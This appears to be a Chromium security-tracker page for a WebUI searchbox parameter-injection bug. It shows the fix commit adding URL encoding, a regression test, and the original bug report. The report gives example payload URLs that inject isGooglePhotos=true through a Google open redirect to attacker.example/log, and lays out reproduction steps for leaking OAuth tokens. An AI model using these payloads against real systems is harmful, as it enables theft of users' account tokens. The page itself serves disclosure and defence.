Medium chrome Logic Error 📄 Reporter bug report 🔧 Commit mapped

Overview

Medium
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInsufficient validation of untrusted input in WebUI
DescriptionInsufficient validation of untrusted input in WebUI
ComponentWebUI
Bug ClassLogic Error
Tracker501729582
Fix commit66edeb8a0fdc (chromium/src) +36/-12
CISA KEVNot listed
CreditedGoogle
Disclosed2026-06-30

Files Changed

  • chrome/test/data/webui/cr_components/searchbox/searchbox_icon_test.ts
  • chrome/test/data/webui/cr_components/searchbox/searchbox_ntp_test.ts
  • ui/webui/resources/cr_components/searchbox/searchbox_icon.ts
From 66edeb8a0fdc6559bdf7d2f5310ac8c34f857295 Mon Sep 17 00:00:00 2001
From: Andrew Paseltiner <apaseltiner@chromium.org>
Date: Wed, 06 May 2026 18:47:13 -0700
Subject: [PATCH] searchbox: Encode image and icon URLs to prevent parameter injection

The computeSrc_ function in searchbox_icon.ts used string interpolation
to construct chrome://image URLs without encoding the url parameter.
This allowed an attacker who controls search suggestions to inject
parameters like &isGooglePhotos=true, which could lead to OAuth token
leakage in the browser process.

This CL adds a call to encodeURIComponent() to prevent such injections
and includes a WebUI test to verify correct encoding.

Fixed: 501729582
Change-Id: I8cf5893ed1c424201501c0e4417cbdb43e237b03
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7818475
Commit-Queue: Andrew Paseltiner <apaseltiner@chromium.org>
Reviewed-by: Riley Tatum <rtatum@google.com>
Cr-Commit-Position: refs/heads/main@{#1626658}
---

diff --git a/chrome/test/data/webui/cr_components/searchbox/searchbox_icon_test.ts b/chrome/test/data/webui/cr_components/searchbox/searchbox_icon_test.ts
index 42507a8..137f4276 100644
--- a/chrome/test/data/webui/cr_components/searchbox/searchbox_icon_test.ts
+++ b/chrome/test/data/webui/cr_components/searchbox/searchbox_icon_test.ts
@@ -65,6 +65,29 @@
     assertTrue(isVisible(image));
   });
 
+  test('image and icon URLs are encoded', async () => {
+    // Regression test for crbug.com/501729582.
+    const match = createAutocompleteMatch();
+    const unsafeUrl = 'https://example.com/image.png?a=b&c=d';
+    match.imageUrl = unsafeUrl;
+    match.iconUrl = unsafeUrl;
+    icon.match = match;
+
+    await microtasksFinished();
+
+    const image = icon.$.image;
+    assertTrue(!!image);
+    assertEquals(
+        image.getAttribute('src'),
+        '//image?staticEncode=true&encodeType=webp&url=https%3A%2F%2Fexample.com%2Fimage.png%3Fa%3Db%26c%3Dd');
+
+    const iconImg = icon.$.iconImg;
+    assertTrue(!!iconImg);
+    assertEquals(
+        iconImg.getAttribute('src'),
+        '//image?staticEncode=true&encodeType=webp&url=https%3A%2F%2Fexample.com%2Fimage.png%3Fa%3Db%26c%3Dd');
+  });
+
   test('entity image hidden on error', async () => {
     const match = createAutocompleteMatch();
     match.imageUrl = '#';
diff --git a/chrome/test/data/webui/cr_components/searchbox/searchbox_ntp_test.ts b/chrome/test/data/webui/cr_components/searchbox/searchbox_ntp_test.ts
index a4622b0..6ac2151 100644
--- a/chrome/test/data/webui/cr_components/searchbox/searchbox_ntp_test.ts
+++ b/chrome/test/data/webui/cr_components/searchbox/searchbox_ntp_test.ts
@@ -2044,7 +2044,7 @@
         assertEquals(
             matchEls[1]!.$.icon.$.image.getAttribute('src'),
             `//image?staticEncode=true&encodeType=webp&url=${
-                matches[1]!.imageUrl}`);
+                encodeURIComponent(matches[1]!.imageUrl)}`);
 
         // Mock image finishing loading, which should remove the temporary
         // background color.
@@ -2168,12 +2168,12 @@
         assertIconState(
             matchEls[0], /*hasEntityImage=*/ false, /*expectUseIconImg=*/ false,
             `//image?staticEncode=true&encodeType=webp&url=${
-                matches[0]!.iconUrl}`);
+                encodeURIComponent(matches[0]!.iconUrl)}`);
         // Test initial icon state for the second match: icon image not used.
         assertIconState(
             matchEls[1], /*hasEntityImage=*/ true, /*expectUseIconImg=*/ false,
             `//image?staticEncode=true&encodeType=webp&url=${
-                matches[1]!.iconUrl}`);
+                encodeURIComponent(matches[1]!.iconUrl)}`);
 
         // Select the first match.
         let arrowDownEvent = arrowDown(realbox);
@@ -2189,18 +2189,18 @@
         assertIconState(
             realbox, /*hasEntityImage=*/ false, /*expectUseIconImg=*/ false,
             `//image?staticEncode=true&encodeType=webp&url=${
-                matches[0]!.iconUrl}`);
+                encodeURIComponent(matches[0]!.iconUrl)}`);
 
         // Mock icon image finishing loading for the first match and the realbox
         // itself. The icon image should be used icon.
         await assertAndLoadIcon(
             matchEls[0], /*hasEntityImage=*/ false,
             `//image?staticEncode=true&encodeType=webp&url=${
-                matches[0]!.iconUrl}`);
+                encodeURIComponent(matches[0]!.iconUrl)}`);
         await assertAndLoadIcon(
             realbox, /*hasEntityImage=*/ false,
             `//image?staticEncode=true&encodeType=webp&url=${
-                matches[0]!.iconUrl}`);
+                encodeURIComponent(matches[0]!.iconUrl)}`);
 
         // Select the second match.
         arrowDownEvent = arrowDown(realbox);
@@ -2215,17 +2215,17 @@
         assertIconState(
             realbox, /*hasEntityImage=*/ false, /*expectUseIconImg=*/ false,
             `//image?staticEncode=true&encodeType=webp&url=${
-                matches[1]!.iconUrl}`);
+                encodeURIComponent(matches[1]!.iconUrl)}`);
         // Mock icon image finishing loading for the second match and the
         // realbox itself. The icon image should be used.
         await assertAndLoadIcon(
             matchEls[1], /*hasEntityImage=*/ true,
             `//image?staticEncode=true&encodeType=webp&url=${
-                matches[1]!.iconUrl}`);
+                encodeURIComponent(matches[1]!.iconUrl)}`);
         await assertAndLoadIcon(
             realbox, /*hasEntityImage=*/ false,
             `//image?staticEncode=true&encodeType=webp&url=${
-                matches[1]!.iconUrl}`);
+                encodeURIComponent(matches[1]!.iconUrl)}`);
 
         // Select the first match by pressing 'Escape'.
         const escapeEvent = new KeyboardEvent('keydown', {
@@ -2247,13 +2247,13 @@
         assertIconState(
             realbox, /*hasEntityImage=*/ false, /*expectUseIconImg=*/ false,
             `//image?staticEncode=true&encodeType=webp&url=${
-                matches[0]!.iconUrl}`);
+                encodeURIComponent(matches[0]!.iconUrl)}`);
         // Mock icon image finishing loading for the realbox (now showing the
         // first match's icon image again).
         await assertAndLoadIcon(
             realbox, /*hasEntityImage=*/ false,
             `//image?staticEncode=true&encodeType=webp&url=${
-                matches[0]!.iconUrl}`);
+                encodeURIComponent(matches[0]!.iconUrl)}`);
       });
 
 
diff --git a/ui/webui/resources/cr_components/searchbox/searchbox_icon.ts b/ui/webui/resources/cr_components/searchbox/searchbox_icon.ts
index 22258ff..d173772 100644
--- a/ui/webui/resources/cr_components/searchbox/searchbox_icon.ts
+++ b/ui/webui/resources/cr_components/searchbox/searchbox_icon.ts
@@ -469,7 +469,8 @@
       return url;
     }
 
-    return `//image?staticEncode=true&encodeType=webp&url=${url}`;
+    return `//image?staticEncode=true&encodeType=webp&url=${
+        encodeURIComponent(url)}`;
   }
 
   private computeIconSrc_(): string {
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/chrome/test/data/webui/cr_components/searchbox/searchbox_icon_test.ts b/chrome/test/data/webui/cr_components/searchbox/searchbox_icon_test.ts
index 42507a8..137f4276 100644
--- a/chrome/test/data/webui/cr_components/searchbox/searchbox_icon_test.ts
+++ b/chrome/test/data/webui/cr_components/searchbox/searchbox_icon_test.ts
@@ -65,6 +65,29 @@
     assertTrue(isVisible(image));
   });
 
+  test('image and icon URLs are encoded', async () => {
+    // Regression test for crbug.com/501729582.
+    const match = createAutocompleteMatch();
+    const unsafeUrl = 'https://example.com/image.png?a=b&c=d';
+    match.imageUrl = unsafeUrl;
+    match.iconUrl = unsafeUrl;
+    icon.match = match;
+
+    await microtasksFinished();
+
+    const image = icon.$.image;
+    assertTrue(!!image);
+    assertEquals(
+        image.getAttribute('src'),
+        '//image?staticEncode=true&encodeType=webp&url=https%3A%2F%2Fexample.com%2Fimage.png%3Fa%3Db%26c%3Dd');
+
+    const iconImg = icon.$.iconImg;
+    assertTrue(!!iconImg);
+    assertEquals(
+        iconImg.getAttribute('src'),
+        '//image?staticEncode=true&encodeType=webp&url=https%3A%2F%2Fexample.com%2Fimage.png%3Fa%3Db%26c%3Dd');
+  });
+
   test('entity image hidden on error', async () => {
     const match = createAutocompleteMatch();
     match.imageUrl = '#';
diff --git a/chrome/test/data/webui/cr_components/searchbox/searchbox_ntp_test.ts b/chrome/test/data/webui/cr_components/searchbox/searchbox_ntp_test.ts
index a4622b0..6ac2151 100644
--- a/chrome/test/data/webui/cr_components/searchbox/searchbox_ntp_test.ts
+++ b/chrome/test/data/webui/cr_components/searchbox/searchbox_ntp_test.ts
@@ -2044,7 +2044,7 @@
         assertEquals(
             matchEls[1]!.$.icon.$.image.getAttribute('src'),
             `//image?staticEncode=true&encodeType=webp&url=${
-                matches[1]!.imageUrl}`);
+                encodeURIComponent(matches[1]!.imageUrl)}`);
 
         // Mock image finishing loading, which should remove the temporary
         // background color.
@@ -2168,12 +2168,12 @@
         assertIconState(
             matchEls[0], /*hasEntityImage=*/ false, /*expectUseIconImg=*/ false,
             `//image?staticEncode=true&encodeType=webp&url=${
-                matches[0]!.iconUrl}`);
+                encodeURIComponent(matches[0]!.iconUrl)}`);
         // Test initial icon state for the second match: icon image not used.
         assertIconState(
             matchEls[1], /*hasEntityImage=*/ true, /*expectUseIconImg=*/ false,
             `//image?staticEncode=true&encodeType=webp&url=${
-                matches[1]!.iconUrl}`);
+                encodeURIComponent(matches[1]!.iconUrl)}`);
 
         // Select the first match.
         let arrowDownEvent = arrowDown(realbox);
@@ -2189,18 +2189,18 @@
         assertIconState(
             realbox, /*hasEntityImage=*/ false, /*expectUseIconImg=*/ false,
             `//image?staticEncode=true&encodeType=webp&url=${
-                matches[0]!.iconUrl}`);
+                encodeURIComponent(matches[0]!.iconUrl)}`);
 
         // Mock icon image finishing loading for the first match and the realbox
         // itself. The icon image should be used icon.
         await assertAndLoadIcon(
             matchEls[0], /*hasEntityImage=*/ false,
             `//image?staticEncode=true&encodeType=webp&url=${
-                matches[0]!.iconUrl}`);
+                encodeURIComponent(matches[0]!.iconUrl)}`);
         await assertAndLoadIcon(
             realbox, /*hasEntityImage=*/ false,
             `//image?staticEncode=true&encodeType=webp&url=${
-                matches[0]!.iconUrl}`);
+                encodeURIComponent(matches[0]!.iconUrl)}`);
 
         // Select the second match.
         arrowDownEvent = arrowDown(realbox);
@@ -2215,17 +2215,17 @@
         assertIconState(
             realbox, /*hasEntityImage=*/ false, /*expectUseIconImg=*/ false,
             `//image?staticEncode=true&encodeType=webp&url=${
-                matches[1]!.iconUrl}`);
+                encodeURIComponent(matches[1]!.iconUrl)}`);
         // Mock icon image finishing loading for the second match and the
         // realbox itself. The icon image should be used.
         await assertAndLoadIcon(
             matchEls[1], /*hasEntityImage=*/ true,
             `//image?staticEncode=true&encodeType=webp&url=${
-                matches[1]!.iconUrl}`);
+                encodeURIComponent(matches[1]!.iconUrl)}`);
         await assertAndLoadIcon(
             realbox, /*hasEntityImage=*/ false,
             `//image?staticEncode=true&encodeType=webp&url=${
-                matches[1]!.iconUrl}`);
+                encodeURIComponent(matches[1]!.iconUrl)}`);
 
         // Select the first match by pressing 'Escape'.
         const escapeEvent = new KeyboardEvent('keydown', {
@@ -2247,13 +2247,13 @@
         assertIconState(
             realbox, /*hasEntityImage=*/ false, /*expectUseIconImg=*/ false,
             `//image?staticEncode=true&encodeType=webp&url=${
-                matches[0]!.iconUrl}`);
+                encodeURIComponent(matches[0]!.iconUrl)}`);
         // Mock icon image finishing loading for the realbox (now showing the
         // first match's icon image again).
         await assertAndLoadIcon(
             realbox, /*hasEntityImage=*/ false,
             `//image?staticEncode=true&encodeType=webp&url=${
-                matches[0]!.iconUrl}`);
+                encodeURIComponent(matches[0]!.iconUrl)}`);
       });
Loading diff…

Original Bug Report

reported by vm...@google.com

Potential OAuth token leak via query parameter injection in searchbox_icon.ts

Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports without the Chrome Security team.

Overview: A query parameter injection vulnerability in searchbox_icon.ts allows an attacker-controlled enterprise search aggregator to inject parameters into a chrome://image request. By injecting &isGooglePhotos=true alongside a Google-hosted open redirect, the browser process mints a Google Photos OAuth token and leaks it to the attacker during the cross-origin redirect.

Affected files:

  • ui/webui/resources/cr_components/searchbox/searchbox_icon.ts
  • chrome/browser/ui/webui/sanitized_image/sanitized_image_source.cc
  • components/omnibox/browser/enterprise_search_aggregator_provider.cc

Estimated timestamp from git blame: 2025-06-05

Summary

A potential vulnerability exists in the NTP Realbox and Omnibox UI (searchbox_icon.ts) where image URLs are not properly encoded before being interpolated into a chrome://image query string. This allows an attacker who can control search suggestions (e.g., via a malicious or compromised enterprise search aggregator) to inject the isGooglePhotos=true parameter.

When this request is handled by SanitizedImageSource in the browser process, it mints a photos.image.readonly OAuth token. If the injected URL points to an open redirect on a Google domain, the browser’s SimpleURLLoader follows the redirect to an attacker-controlled origin without stripping the Authorization header, leaking the token.

Technical Details

1. Parameter Injection in WebUI

In ui/webui/resources/cr_components/searchbox/searchbox_icon.ts, the computeSrc_ function constructs the URL for the chrome://image data source using string interpolation:

private computeSrc_(url: string|undefined): string {
  // ...
  return `//image?staticEncode=true&encodeType=webp&url=${url}`;
}

The url variable is not encoded using encodeURIComponent. For enterprise search results, this value originates from the un-sanitized iconUri field of the search aggregator’s JSON response (parsed in components/omnibox/browser/enterprise_search_aggregator_provider.cc). An attacker can supply a value like https://accounts.google.com/amp/rebrand?url=https://attacker.example/log&isGooglePhotos=true.

2. Token Attachment in the Browser Process

When the WebUI sets this string as an <img> src, it triggers a request to chrome://image. SanitizedImageSource::StartDataRequest handles this and uses url::ExtractQueryKeyValue to parse the parameters. Because the injected & was unencoded, it successfully parses url as the Google open redirect URL and isGooglePhotos as true.

The code validates the target URL using IsGooglePhotosUrl(image_url), which simply checks if the host ends with a Google domain (e.g., .google.com). Because the target is accounts.google.com, the check passes, and SanitizedImageSource uses signin::PrimaryAccountAccessTokenFetcher to mint a user-scoped OAuth token for https://www.googleapis.com/auth/photos.image.readonly.

3. Token Leakage via Cross-Origin Redirect

The request is executed using a fully privileged network::SimpleURLLoader in the browser process (GetURLLoaderFactoryForBrowserProcess()). The minted token is attached as an Authorization: Bearer header.

When the Google server responds with an HTTP 302 redirect to https://attacker.example/log, the network service processes the redirect. By default, the network service’s RedirectUtil::UpdateHttpRequest does not strip the Authorization header across cross-origin redirects. Because the SimpleURLLoader instance was not explicitly configured with an OnRedirectCallback to remove this header, the token is sent to the attacker’s origin.

Suggested Reproduction Steps

Note: Our tooling agent does not have the ability to run code; these are suggested steps based on codebase analysis.

  1. Configure a managed Chrome profile to use an attacker-controlled backend via the EnterpriseSearchAggregatorSettings policy.
  2. Ensure the user is signed into Chrome with their Google account.
  3. The attacker backend responds to a search query with a CONTENT suggestion where iconUri is set to an open redirect with an injected parameter, e.g.: https://accounts.google.com/interactive_login?continue=https://attacker.example/log&isGooglePhotos=true.
  4. The victim interacts with the NTP or Omnibox, triggering the suggestion.
  5. The WebUI constructs the injected URL, and the browser process mints the OAuth token.
  6. The browser initiates the fetch to the Google open redirect, which redirects to attacker.example.
  7. The attacker’s server logs the Authorization: Bearer header containing the leaked token, granting read access to the victim’s Google Photos.

Suggested Fix

  1. WebUI Encoding: In ui/webui/resources/cr_components/searchbox/searchbox_icon.ts, use encodeURIComponent(url) inside the template literal in computeSrc_ to prevent parameter injection.
  2. Defense-in-Depth (Loader): Consider configuring the SimpleURLLoader in SanitizedImageSource::StartImageDownload to explicitly strip the net::HttpRequestHeaders::kAuthorization header on cross-origin redirects by utilizing an OnRedirectCallback.

Evaluated with Chrome root at commit: 096fc8fdbfacf2546485756d03f160a3d04fcc9b


Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

View on issue tracker